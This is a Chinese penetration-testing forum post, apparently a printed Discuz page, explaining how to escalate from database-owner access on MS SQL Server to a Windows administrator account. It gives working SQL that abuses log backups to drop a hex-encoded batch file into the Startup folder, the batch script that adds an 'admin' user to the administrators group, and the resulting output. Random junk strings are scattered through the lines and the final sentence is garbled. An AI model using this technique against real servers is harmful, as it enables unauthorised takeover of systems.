中国网络渗透测试联盟

标题: DB_OWNER.SA备份BAT到启动项提权 [打印本页]
作者: admin    时间: 2013-2-14 00:08
标题: DB_OWNER.SA备份BAT到启动项提权
下面只给出关键的代码：6 ?" q# O9 f9 `, o; }+ ?8 b
使用查询分析器或者webshell连接上数据库后按如下步骤操作即可：
' S$ m0 U" w7 m! c  Z. \( Y) V1.DB权限列目录$ S2 H( h" |4 i  D* U
exec master..xp_dirtree ‘c:\’,1,1! Y8 |+ R; S0 V( i! [% U
使用以上语句可以实现db权限下列出磁盘目录
7 I6 G; ~* s: R: q% o  t; L下面我们用备份的方式来备份一个BAT到启动项里
8 j& X/ ~# x* H' a9 l, r+ T——————————————————————————————————————————————————————–6 g5 a8 G. v. o& q( C. M. P/ @
alter database [abc] set RECOVERY FULL–
2 ?0 y$ ?. Q. h. Tcreate table cmd (a image)–
0 X8 z0 H: U8 [backup log [abc] to disk = ‘c:\cmd1′ with init–9 \# C& O! }1 ]9 s/ ^$ h5 K5 p) q
insert into cmd (a) values (0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)–
0 f( a# \/ K8 W& E7 w; zbackup log [abc] to disk = ‘C:\Documents and Settings\All Users\「开始」菜单\程序\启动\start.bat’–
" v$ _! r( p( ?, D. }6 Sdrop table cmd–8 H% d( E2 a- N) q
——————————————————————————————————————————————————————–% n- m2 [. r1 I
上面这几条SQL语句就是备份的语句.这里要注的是:1 Z3 i7 v. B, @2 w$ i+ e
0x6E0065007400200075007300650072002000610064006D0069006E002000610064006D0069006E0020002F006100640064002000260020006E006500740020006C006F00630061006C00670072006F00750070002000610064006D0069006E006900730074007200610074006F00720073002000610064006D0069006E0020002F00610064006400200026002000640065006C002000730074006100720074002E00640061007400 这一句HEX加密的 是我们要打的命令 下面我告诉大家这个加密码的格式怎么用
* ]  M1 X: H0 ^, M% f: q编辑一个加用户ADMIN的命令 并删除START.BAT# ?/ P- G" i, v
@echo off, H! E3 d, t4 R. R: k  N
@cd %windir% /*这里也可以CD到SYSTEM32目录*// E! _2 S. u7 B6 e3 z7 L
@net user admin admin /add
) A$ _1 D5 X) p9 f2 y@net localgroup administrators admin /add
, b3 i/ b* S7 N: a. K3 |7 E@del start.bat /*这一步删除了BAT文件*/; t) u& c: x. S- }9 \+ b0 l
@exit           /*这一步退出CMD*/
; K( L1 b& J+ h; e3 M@               /*最后这个@最好加上.要不会把你的上一句命令弄出错*/) g3 x! r6 E' ~. Z5 k" G
列数据库的命令：SELECT DB_NAME()/ I" n( T# P1 T5 M
我这现在连接的库是abc
  n+ o7 K! U" Q那么我们要把备份语句中的库名换成当前库的名abc
8 q. h( q: H$ I( X执行上面SQL语句后返回如下信息：' {7 P% i& [9 y6 O- C6 O9 B4 P. @
已处理 1 页，这些页属于数据库 abc的文件 abc_Log’（位于文件 1 上）。
! e7 E/ Y; M# D; d, DBACKUP LOG 操作成功地处理了 1 页，花费了 0.048 秒（0.160 MB/秒）。0 X6 x* p# t. d  v5 z1 `3 r
(1 row(s) affected)8 t5 y, _5 l0 I
已处理 1 页，这些页属于数据库 abc的文件 abc_Log’（位于文件 1 上）。" A/ U$ ]3 A: T+ q, A
BACKUP LOG 操作成功地处理了 1 页，花费了 0.043 秒（0.083 MB/秒）。- g( K! ?  k( m9 J+ g3 [; u( B
说明我们备份成功了，到启动项里看看是不是多了一个bat文件，现在只等服务器重启并登陆后就会添加一个我们预先定义好的管理员账Я恕�



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2